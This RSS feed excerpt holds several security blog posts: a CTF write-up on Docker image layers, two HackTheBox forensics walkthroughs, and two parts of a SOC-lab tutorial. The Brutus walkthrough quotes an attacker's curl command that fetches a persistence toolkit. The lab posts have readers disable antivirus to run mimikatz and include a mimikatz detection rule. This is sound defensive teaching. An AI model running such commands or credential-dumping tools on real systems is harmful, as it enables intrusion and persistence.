            <title><![CDATA[Cloud Village CTF — Case of the Missing Flag]]></title>
            <link>https://medium.com/@hm.mythreya/cloud-village-ctf-case-of-the-missing-flag-bd5f12a152ea?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd5f12a152ea</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[dockerfiles]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 16:39:39 GMT</pubDate>
            <atom:updated>2025-04-14T17:03:58.483Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cloud Village CTF — Case of the Missing Flag</h3><p>Cloud village hosted a CTF at the recent BSides Charm event at Baltimore, MD between Apr 12–13, 2025. This is a writeup of one of the challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*ScApmetEONX-S-7UE6Qjzg.png" /></figure><p>The link provided is a docker image, we can pull this to our local system:</p><pre>docker pull public.ecr.aws/q2t5x6w4/iamthemissingidentity:latest</pre><p>After it’s done pulling all the required images, check the IMAGE ID:</p><pre>docker image ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jcNM-w8Ir-oJKIgg8UEeiQ.png" /></figure><p>Let’s run it and spawn a shell inside it:</p><pre>docker run -i -t 42fae</pre><p>Since the description of this challenge talked about a hidden note, I ran a few find commands to try and find this note.</p><pre>find / -type f -iname &quot;*.txt&quot; 2&gt;/dev/null</pre><p>We are running a find command on / which is basically saying search the whole system. Then we are trying to match any files that end with .txt. Finally, we are ignoring any errors we might encounter with 2&gt;/dev/null</p><p>Running this did not give any output.</p><p>Ok so, it’s not a .txt file. How about we list all files that contain ASCII text in them.</p><pre>find / -type f -exec file {} + 2&gt;/dev/null | grep -i &quot;ASCII&quot;</pre><p>Once again, we are running find on /, but this time, for each file, we are executing the file command. We are then piping the output to grep to print only those lines that have ASCII in them.</p><p>This command did not yield anything either.</p><p>At this point, I did some basic enumeration like looking at any open ports, running processes, checking bash history and environment variables, but none of them had anything useful.</p><p>Then I remembered something, the description talked about the docker image itself. It’s not that this challenge is served in a docker container, the docker container is part of the story itself, it’s supposed to be left behind by the missing identity person. We did not enumerate the docker image itself. We can check the history on the link with docker history. This shows a layer by layer breakdown of a docker image&#39;s creation.</p><pre>docker history public.ecr.aws/q2t5x6w4/iamthemissingidentity:latest</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vqbidvc-KslahGsrfDom6Q.png" /></figure><p>Nice! We are getting somewhere. We can see that the missing person left behind a flag.txt in the root directory, but in the last docker command, it is deleted.</p><p>Now the question is, how do we get it back?</p><p>To answer that, we need to understand how docker images are built.</p><p>When docker builds an image from a dockerfile, each command creates a new layer, on top of the old layer.<br>For example:</p><pre>FROM ubuntu                       # Layer 1<br>RUN apt update                    # Layer 2<br>RUN echo &quot;test&quot; &gt; /test.txt       # Layer 3<br>RUN rm /test.txt                  # Layer 4</pre><p>In the above dockerfile, we have 4 commands, each of those commands creates a new layer.</p><p>Each layer tracks only the changes from the previous layer, sort of like snapshots in VMWare.</p><p>However the caveat here is that, each layer is stored separately on disk. Meaning layer 3 still exists!</p><p>The same is true in our challenge, flag.txt still exists, just not in the final layer that we entered a shell into.</p><p>So how do we go back to a previous layer?</p><p>Well, docker pull pulls the image to our local filesystem, <em>but</em>, the layers that it pulls? those are stored inside Docker&#39;s storage, and is hidden. We cannot find them on our local filesystem.</p><p>So we use docker save instead. This grabs all the layers, manifest, config files etc, and saves it in a tar file. We can extract this tar file and explore it freely, all the layers are not hidden, they are on our filesystem.<br>(Note: I highly recommend running docker save on some of your favorite docker containers, it&#39;s super fun to look at some of the layers and how some docker images are built and optimized).</p><pre>docker save public.ecr.aws/q2t5x6w4/iamthemissingidentity:latest -o missingflag.tar</pre><p>Now we can extract it:</p><pre>tar -xf missingflag.tar -C missingflag</pre><p>Inside oci_layers, you have your flag.txt!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g6e2G6g7wv8DHYPnYpTTWw.png" /></figure><p>A super fun challenge, took me awhile to “think outside the box” and realize that the docker image is part of the story.</p><p>Check out my writeups on two other challenges from this CTF <a href="https://medium.com/@hm.mythreya/cloud-village-ctf-crabs-on-the-loose-1982cf35291f">here</a> and <a href="https://medium.com/@hm.mythreya/cloud-village-ctf-storage-showdown-remastered-3edd4373a9d7">here</a>.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd5f12a152ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Sherlock — Unit42]]></title>
            <link>https://medium.com/@hm.mythreya/htb-sherlock-unit42-1cc540d6fd19?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/1cc540d6fd19</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Fri, 11 Apr 2025 14:40:27 GMT</pubDate>
            <atom:updated>2025-04-11T14:40:27.635Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Sherlock — Unit42</h3><blockquote>Sherlock Scenario<br>In this Sherlock, you will familiarize yourself with Sysmon logs and various useful EventIDs for identifying and analyzing malicious activities on a Windows system. Palo Alto’s Unit42 recently conducted research on an UltraVNC campaign, wherein attackers utilized a backdoored version of UltraVNC to maintain access to systems. This lab is inspired by that campaign and guides participants through the initial access stage of the campaign.</blockquote><p>After extracting the zip file, we have a .evtx file. This is a special event log file for windows. There is a tool called <a href="https://github.com/WithSecureLabs/chainsaw">chainsaw</a> on github that lets us parse windows log files. Download the linux binary to use it. I personally like to add a symbolic link to path, so I can use the tool from anywhere.</p><p>To understand each event id, refer to <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events">this microsoft article</a></p><p>For example, Event id 11 is FileCreate.</p><p>I am going to use the basic sigma rules and mappings that come with chainsaw</p><pre>chainsaw hunt Microsoft-Windows-Sysmon-Operational.evtx -s ~/tools/chainsaw/sigma/ --mapping ~/tools/chainsaw/mappings/sigma-event-logs-all.yml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qIO20sPO12ClH1ocLhMysw.png" /><figcaption>Output of chainsaw</figcaption></figure><p>Looking at the logs, we see some suspicious activity right off the bat. Now let’s get to answering the questions</p><blockquote>How many Event logs are there with Event ID 11?</blockquote><p>Let’s dump all the logs and parse it with json to see how many events with id 11 exists.</p><pre>chainsaw dump Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 11 )&#39;</pre><p>Let’s break down what’s going on. <br>chainsaw dump Microsoft-Windows-Sysmon-Operational.evtx --json dumps the logs into json format. We are piping the output to jq with a particular query.</p><p>If you look at the output after piping to jq ., you&#39;ll see that all of the data is in a list, so we need to go into that list with .[]</p><p>In this list, we want the item “Event”, so we do .[].Event</p><p>Now we need to filter, for this we are piping the output once again (within the query string of jq), and using select ()</p><p>Inside select, we are searching for all items that have .System.EventID == 11</p><p>This outputs all of the events that have id 11. To count this, we can just grep a particular line that appears exactly once per Event, say EventData, and then we can pipe that to wc -l</p><p>The final command looks like this:</p><pre>chainsaw dump Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 11)&#39; | grep -i eventdata | wc -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X9EKCc9kxD_JkJenrKVWog.png" /><figcaption>There are 56 events with ID=11</figcaption></figure><p>That answers our first question. 56</p><blockquote>Whenever a process is created in memory, an event with Event ID 1 is recorded with details such as command line, hashes, process path, parent process path, etc. This information is very useful for an analyst because it allows us to see all programs executed on a system, which means we can spot any malicious processes being executed. What is the malicious process that infected the victim’s system?</blockquote><p>To answer this question, let’s go through all events with id 1. (event id 1 corresponds to Process Creation)</p><pre>chainsaw dump Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 1)&#39;</pre><p>Going through the output, we can see directories being printed in a field called ParentImage, so let&#39;s print those</p><pre>chainsaw dump Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 1) | .EventData.ParentImage&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*swS8rEhZ9tIjXRZTr915hQ.png" /><figcaption>ParentImages of all events with event id 1</figcaption></figure><p>The 2nd last one looks suspicious, let’s get it’s md5hash and check in VirusTotal</p><pre>chainsaw dump Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 1) | .EventData&#39;</pre><p>Scroll up and find the process that has Prventivo24.02.14.exe.exe as the Image field and grab it&#39;s md5, then head to virustotal.com and go to &quot;search&quot; and paste in the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gu6owBJ0efZSaZo5Qq_uQ.png" /><figcaption>VirusTotal Results</figcaption></figure><p>VirusTotal reveals that this is indeed malware. This answers our 2nd question</p><blockquote>C:\Users\CyberJunkie\Downloads\Preventivo24.02.14.exe.exe</blockquote><blockquote>Which Cloud drive was used to distribute the malware?</blockquote><p>If we look at the Microsoft documentation for the Event ID’s, we can see that there is 22 which is for DNS Queries, this can help us solve this question.</p><pre>chainsaw dump Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 22) | .EventData&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-e8s6EJMItbDz-MCeQttxA.png" /><figcaption>DNS Queries</figcaption></figure><p>Output indicates dropbox . This is why it’s important to look at and understand the documentation! Manually going through the logs looking for a CSP would have been hard, but because we know there is an event ID for DNS Queries, we can simplify our search!</p><blockquote>For many of the files it wrote to disk, the initial malicious file used a defense evasion technique called Time Stomping, where the file creation date is changed to make it appear older and blend in with other files. What was the timestamp changed to for the PDF file?</blockquote><p>From the same item that we got our md5hash from, we can take the ProcessGUID and use search with chainsaw rather than dump, which makes things a little bit faster.</p><p>Along with the search, we can use EventID 2 which is for ChangeCreateTime and grep with pdf:</p><pre>chainsaw search 817BDDF3-3684-65CC-2D02-000000001900 Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 2)&#39; | grep -i pdf -A 5 -B 5</pre><p>(Note: -A 5 -B 5 tells grep to print 5 lines before and after any matches)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCC4C5Mgb1wGNFZNZ31zSQ.png" /><figcaption>Found the PDF File</figcaption></figure><p>Looking at the output, we get our answer:</p><blockquote>2024–01–14 08:10:06</blockquote><blockquote>The malicious file dropped a few files on disk. Where was “once.cmd” created on disk? Please answer with the full path along with the filename.</blockquote><p>For this, we can use EventID 11, along with TargetFilename to get all the paths.</p><pre>chainsaw search 817BDDF3-3684-65CC-2D02-000000001900 Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 11) | .EventData.TargetFilename &#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XzlbCdMA9Q-MudSdPEwSfQ.png" /><figcaption>File Names</figcaption></figure><blockquote>C:\Users\CyberJunkie\AppData\Roaming\Photo and Fax Vn\Photo and vn 1.1.2\install\F97891C\WindowsVolume\Games\once.cmd</blockquote><blockquote>The malicious file attempted to reach a dummy domain, most likely to check the internet connection status. What domain name did it try to connect to?</blockquote><p>Earlier, we did a search for DNSQueries using event id 22, which revealed another domain other than dropbox</p><blockquote>www.example.com</blockquote><blockquote>Which IP address did the malicious process try to reach out to?</blockquote><p>We can use EventID 3 which is for Network connection</p><pre>chainsaw search 817BDDF3-3684-65CC-2D02-000000001900 Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 3) | .EventData&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-BCvo9Z78o0LiSoQVs4lA.png" /><figcaption>Network Connections</figcaption></figure><blockquote>93.184.216.34</blockquote><blockquote>The malicious process terminated itself after infecting the PC with a backdoored variant of UltraVNC. When did the process terminate itself?</blockquote><p>We can use event id 5 which is for Process Terminate.</p><pre>chainsaw search 817BDDF3-3684-65CC-2D02-000000001900 Microsoft-Windows-Sysmon-Operational.evtx --json | jq &#39;.[].Event | select ( .System.EventID == 5) | .EventData&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ms0LIAYuj0CZzwFZozYgyA.png" /><figcaption>Process Terminated</figcaption></figure><blockquote>2024–02–14 03:41:58</blockquote><p>That concludes the walkthrough for this sherlock. Overall a super fun sherlock that introduces users to processing sysmon data and using json and jqto query and filter items. It also enables users to go out there and dig in through the documentation and find what EventIDs correspond to what, a skill that will be super useful in any cybersecurity career.</p><p>Thanks for reading!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*WFZAuEFdkro4hBHDy6x98g.png" /><figcaption>Sherlock Completed!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1cc540d6fd19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Sherlock — Brutus]]></title>
            <link>https://medium.com/@hm.mythreya/htb-sherlock-brutus-9bcecf26d6ff?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/9bcecf26d6ff</guid>
            <category><![CDATA[sherlock]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Thu, 10 Apr 2025 19:56:15 GMT</pubDate>
            <atom:updated>2025-04-10T19:56:15.020Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Sherlock — Brutus</h3><p>The challenge gives us a zip file containing auth.log and wtmp.</p><p>The wtmp is a special log file located at /var/log/wtmp in unix file systems. It simply records information about every login and logout activity.</p><p>First, let’s look at the auth.log file. Lets see what type of file it is</p><pre>file auth.log</pre><pre>auth.log: ASCII text</pre><p>It is just plain ASCII, so we can use a text editor like vim to view it.</p><pre>vim auth.log</pre><p>Scrolling down a bit, we see that there are repeated failed-login attempts from the same IP address. This is likely a brute-force attempt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6eN0HZeE7IOHOB_jDfHBFg.png" /><figcaption>Brute Force attempts from IP 65.2.161.68</figcaption></figure><p>This answers the first question in our challenge.</p><blockquote>Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?</blockquote><blockquote>&gt; 65.2.161.68</blockquote><p>Almost 200 entries later, we see that this IP got a successful login for the user root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-rrRQtpNKHw9fZsVAtK3Jw.png" /><figcaption>Successful login as user root</figcaption></figure><p>This answers the second question</p><blockquote>The brute-force attempts were successful and attacker gained access to an account on the server. What is the username of the account?</blockquote><blockquote>&gt; root</blockquote><p>The 3rd question requires us to look into the wtmp file.</p><blockquote>Identify the timestamp when the attacker logged in manually to the server to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.</blockquote><p>To look at this file, we can use the last command line utility.</p><pre>TZ=utc last -f wtmp -F</pre><p>We are setting the environmental variable TZ (stands for timezone), to utc for this particular command. Then we are running last with -f to specify the file, the file itself, i.e, wtmp, and -F stands for full, which prints the full timestamp including seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*R4yxaLVLvShLfaE1SXzoVg.png" /><figcaption>Output</figcaption></figure><p>Based on the bruteforce attempts, we know the IP of our attacker, so we can conclude that the time of login based on the above output as 6:32:45</p><blockquote>2024–03–06 6:32:45</blockquote><blockquote>SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?</blockquote><p>We need to find the session number assigned for the initial root session, this can be found in auth.log at line 324</p><blockquote>37</blockquote><blockquote>The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?</blockquote><p>Looking at auth.log, we see a new user named cyberjunkie.</p><blockquote>What is the MITRE ATT&amp;CK sub-technique ID used for persistence by creating a new account?</blockquote><p>This technique comes under T1136.001, which is aptly named Create Account: Local Account. Refer to the <a href="https://attack.mitre.org/techniques/T1136/001/">official mitre website</a> for more details.</p><blockquote>T1136.001</blockquote><blockquote>What time did the attacker’s first SSH session end according to auth.log?</blockquote><p>After creating cyberjunkie user, the attacker logged out from root, at 06:37:24, which can be found on line 355 in the auth.log file</p><blockquote>2024–03–06 06:37:24</blockquote><blockquote>The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?</blockquote><p>Line 375 shows that the attacker downloaded linper.sh, which is a persistence toolkit.</p><blockquote>/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</blockquote><p>With that, this sherlock is over. A relatively easy and quick sherlock, but an important one, as it goes through the fundamentals, and introduces new users to linux logs and the MITRE ATT&amp;CK framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*prieNvY6kfjLETIbeIPepQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9bcecf26d6ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a SOC lab with Wazuh, Shuffle, and TheHive — Part 4]]></title>
            <link>https://medium.com/@hm.mythreya/building-a-soc-lab-with-wazuh-shuffle-and-thehive-part-4-e6ad92b86f92?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6ad92b86f92</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[shuffle]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Sat, 12 Oct 2024 22:52:51 GMT</pubDate>
            <atom:updated>2024-10-12T22:52:51.966Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rms91PTLhpkL0Qrj6lZR_g.jpeg" /></figure><h3>Building a SOC lab with Wazuh, Shuffle, and TheHive — Part 4</h3><p>In this final part, we’ll configure shuffle and wazuh to integrate and connect them. Then we’ll use hashes to check our mimikatz logs with VirusTotal and see if it flags it.</p><p>Head to <a href="https://shuffler.io/">shuffler.io</a> and create an account. Then create a new workflow and name it whatever you want.</p><p>Add webhook and rename it, and click on the blue dot, drag it and connect it to the change me icon.</p><p>Click on the change me icon and under the “find actions” field, enter repeat back to me and enter “$exec”</p><p>Now click on webhook, and copy the webhook url. We need to paste this into wazuh’s config file. <br>“/var/ossec/etc/ossec.conf”</p><p>Add this above the &lt;alert&gt; tag.</p><pre>&lt;integration&gt;<br>  &lt;name&gt;shuffle&lt;/name&gt;<br>  &lt;hook_url&gt; YOUR HOOK URL HERE &lt;/hook_url&gt;<br>  &lt;rule_id&gt;100002&lt;/rule_id&gt;<br>  &lt;alert_format&gt;json&lt;/alert_format&gt;<br>&lt;/integration&gt;</pre><p>Replace “YOUR HOOK URL HERE” with the hook url from shuffle, and restart wazuh.</p><p>Then, run mimikatz on your client to trigger the alert, and go to shuffle and click on the run logo at the bottom to see if our integration worked.</p><p>If it worked, you should get a result like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQjnfS6wR8qdzB-Jt5TUrw.png" /></figure><p>Now that we’ve gotten the data from our wazuh to shuffle, we can integrate it with virustotal. Virustotal takes in a hash which means we need to extract the hash from this json data. To do this, click on the change me icon and change it to regex capture group. Under Input data enter this : “$exec.text.win.eventdata.hashes” and under Regex enter this:<br>“SHA256=([0–9A-Fa-f]{64})” (without the quotes)</p><p>Save the workflow and run mimikatz again on your client to see if this worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URY2gBMmyCgbeU1Gsd7yiA.png" /></figure><p>As you can see, we have successfully extracted the hash. We can now forward this to a virustotal integration to check if it is virus.</p><p>But first, create a virustotal account, because you need an API key.</p><p>Then add virustotal from the search bar on the top left, and choose Get a hash report under actions. Make sure to add your API key.</p><p>Under id, click on the plus icon and click on the arrow next to your “change me” or whatever you named it earlier that has the sha256 regex and select list. It should look something like this (I named mine sha_256_regex):<br>$sha_256_regex.group_0.#</p><p>Go ahead and save the workflow, click on the person icon again, select the recently run mimikatz workflow, and hit rerun workflow. Then click on the virustotal output, it should look something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*YAxK97SrHIDFDv3GjaOESw.png" /></figure><p>Clicking on the left arrow button, we can see what virustotal returned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wUFSo7Fu3ubqmd68RP0ygQ.png" /></figure><p>Now let’s forward this alert to TheHive. Login to your hive dashboard</p><p>Let’s create a new organization, click on the plus button at the top left. Name it whatever and click on create. Then click on the newly created organization and click on the plus icon again to add a user.</p><p>Make the user an analyst and give it whatever login and name you want.</p><p>Add another user and this time, change the type from normal to service, and name it whatever you want. Make it analyst again and hit confirm</p><p>Next, hover over the users and click on preview, scroll down, and you will see a password field, create a password.</p><p>Then, for the SOAR user, create and copy the API key and store it somewhere, we will be using this to connect shuffle and thehive</p><p>Now logout of the account and login to your normal account, not the service one</p><p>On the left, click on alerts, you can see it’s empty. This is where our alerts will come in. Go back to shuffle and add thehive from the search bar at the top left.</p><p>Click on thehive, and click on authenticate and enter your api key that we copied earlier. For the url, enter the public ip of thehive vm along with the port 9000</p><p>Under find actions, select create alert.</p><p>Connect virustotal with the hive</p><p>For the description, we will put the date, click on the plus icon, go to execution argument, and find the utcTime variable: $exec.text.win.eventdata.utcTime.</p><p>For the Source, put this:<br>$exec.text.win.system.computer</p><p>For severity and pap, put 2<br>For sourceref put: “Rule: 100002”. Set status to New</p><p>Now, test the workflow again</p><p>You should see an alert in thehive:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JWgRGC-_xMwEtaaz0TOocg.png" /></figure><p>Congratulations, you have set up a lab for a SOC analyst, with automated mimikatz detection, with wazuh, thehive, and shuffle!</p><p>There are no limits when it comes to shuffle, you can create email triggers, use call control APIs, send messages on microsoft teams, etc.</p><p>That concludes this 4 part series of write-ups, hope you enjoyed! And remember to play around with the configuration, add more virus/malware detection, etc. You have 2 months/100$ of credit on Linode, use it! And of course, have fun!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6ad92b86f92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a SOC lab with Wazuh, Shuffle, and TheHive — Part 3]]></title>
            <link>https://medium.com/@hm.mythreya/building-a-soc-lab-with-wazuh-shuffle-and-thehive-part-3-34f1db5d7159?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/34f1db5d7159</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Sat, 12 Oct 2024 22:00:44 GMT</pubDate>
            <atom:updated>2024-10-12T22:54:03.618Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rms91PTLhpkL0Qrj6lZR_g.jpeg" /></figure><h3>Building a SOC lab with Wazuh, Shuffle, and TheHive — Part 3</h3><p>In part 1 and 2, we created a design for our soc lab, installed sysmon on a windows 10 client, deployed 2 VMs on Linode and installed and configured wazuh and TheHive on those 2 VMs. Today, we’ll look at how to configure our wazuh so that it ingests our sysmon logs, and how we can create an alert for mimikatz, a popular credential dumping tool used by hackers.</p><p>In our win10 client, head to Program Files (x86), ossec-agent, and find the file that says ossec.conf. Open it with notepad to edit it, but before you do, make sure to make a backup of the file.</p><p>Let’s configure it to ingest our sysmon logs<br>Find the line that says Log analysis</p><p>Under log analysis, paste this to ingest sysmon logs:</p><pre>  &lt;localfile&gt;<br>    &lt;location&gt;Microsoft-Windows-Sysmon/Operational&lt;/location&gt;<br>    &lt;log_format&gt;eventchannel&lt;/log_format&gt;<br>  &lt;/localfile&gt;</pre><p>I will also add this for monitoring powershell logs too:</p><pre>  &lt;localfile&gt;<br>    &lt;location&gt;Microsoft-Windows-PowerShell/Operational&lt;/location&gt;<br>    &lt;log_format&gt;eventchannel&lt;/log_format&gt;<br>  &lt;/localfile&gt;</pre><p>For the sake of there being simple logs, I will remove the “Application”, “System” and “Security”. So in the end, we will be ingesting powershell, sysmon logs, and active response.</p><p>Now save the file and go to Services, and restart the Wazuh service</p><p>Now head to the wazuh dashboard, and click on Security events -&gt; events.<br>In the sidebar on the left, make sure wazuh-alerts-* is selected. At</p><p>With the search-bar at the top search for sysmon to see sysmon events</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zA7fMwCakc77TLTifptS0A.png" /></figure><p>As you can see, we already have 53 sysmon logs ingested into wazuh.</p><p>Now, let’s generate some telemetry with mimikatz. Disable the AV or add your downloads folder to exclusion in your win10 client or it will flag and delete mimikatz. Download mimikatz from <a href="https://github.com/gentilkiwi/mimikatz">here</a>. Under releases, download mimikatz_trunk.zip. You may also have to disable security protection from the browser.</p><p>Then, open powershell as administrator and cd into the mimikatz folder (after extracting it). And run mimikatz. If you now go to wazuh and search for mimikatz, you will find that there are no logs. This is because wazuh by default does not log anything unless there is an alert or an event, which we have to create for mimikatz. Or we can have wazuh log everything, even if it’s not an event. To do that, we need to configure wazuh on our wazuh VM.</p><p>First, make a backup of the config file:</p><pre>cp /var/ossec/etc/ossec.conf ~/ossec-backup.conf</pre><p>Then edit the config file, and change no to yes for these 2 fields: “logall” and “logall_json”</p><p>Then restart wazuh:</p><pre>systemctl restart wazuh-manager.service</pre><p>Now, wazuh will log everything, not just events/logs. But, these logs need to be ingested, to do that, edit this file:<br>/etc/filebeat/filebeat.yml <br>Under filebeat.modules, change archives enabled to true and restart filebeat:</p><pre>systemctl restart filebeat</pre><p>Now, head to wazuh dashboard and on the sidemenu on the left, click on stack management. Click on Index Patterns, and create Index. Then, type wazuh-archives-* behind the * that’s already there, it should look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lq8xjarfUbggqn6cSV_7xw.png" /></figure><p>Click on the next step. For the time field, scroll down and click on timestamp, and hit create index. Then, in the hamburger menu on the left, click on discover, and where it says wazuh-alerts-*, click on the down arrow next to it and select our newly created index.</p><p>Here, you can search for mimikatz, and you should see logs related to mimikatz if you ran it earlier.</p><p>Now, let’s create an alert, we’ll do this by using the originalFileName tag that can be found if you expand a log related to mimikatz</p><p>To create this alert, go to the home page, click on the down arrow next to wazuh then click on management, and click on rules. Then click on manage rules files. Type sysmon at the top and find the xml file that says sysmon_id_1.xml (or 0800-sysmon_id_1.xml). Click on the eye icon, and copy a &lt;rule&gt; section. We will edit this rule to have it detect mimikatz. Now go back, and click on custom rules. Click on the pencil icon to edit the first file (there should only be one) and paste the rule section that you copied. Change the rule id to 100002 (note: custom rules always start with 100000). Then change the level to 15 (15 is the highest severity level you can have)</p><p>For the field name enter: `win.eventdata.originalFileName`. For type, leave &gt;(?i) and replace the rest with mimikatz\\.exe</p><p>Remove the next line that says no_full_log. Change the description to whatever you like. Change the mitre ID to T1003 which stands for credential dumping (which is what mimikatz is used for). Then save the file, the rule we added should look something like this:</p><pre>  &lt;rule id=&quot;100002&quot; level=&quot;15&quot;&gt;<br>    &lt;if_group&gt;sysmon_event1&lt;/if_group&gt;<br>    &lt;field name=&quot;win.eventdata.originalFileName&quot; type=&quot;pcre2&quot;&gt;(?i)mimikatz\.exe&lt;/field&gt;<br>    &lt;description&gt;Mimikatz detection&lt;/description&gt;<br>    &lt;mitre&gt;<br>      &lt;id&gt;T1003&lt;/id&gt;<br>    &lt;/mitre&gt;<br>  &lt;/rule&gt;</pre><p>After saving it, click on restart</p><p>Now go to your home page, and head to security events, there should be none. Now let’s test our rule, run mimikatz on your client, and wait for wazuh to ingest the logs and detect mimikatz.</p><p>As you can see, wazuh successfully detected mimikatz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8m8IuvqWTjGQ_uyT6gKgnw.png" /></figure><p>In this part, we successfully enabled full log ingestion in wazuh, and created a rule to alert whenever there is mimikatz usage. In the next part, we will connect wazuh with shuffle, where we can send our mimikatz hash to VirusTotal, and send the alert over to TheHive, where a SOC Analyst would see the alerts, their description, and severity. Click <a href="https://medium.com/@hm.mythreya/building-a-soc-lab-with-wazuh-shuffle-and-thehive-part-4-e6ad92b86f92">here</a> for part 4.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34f1db5d7159" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>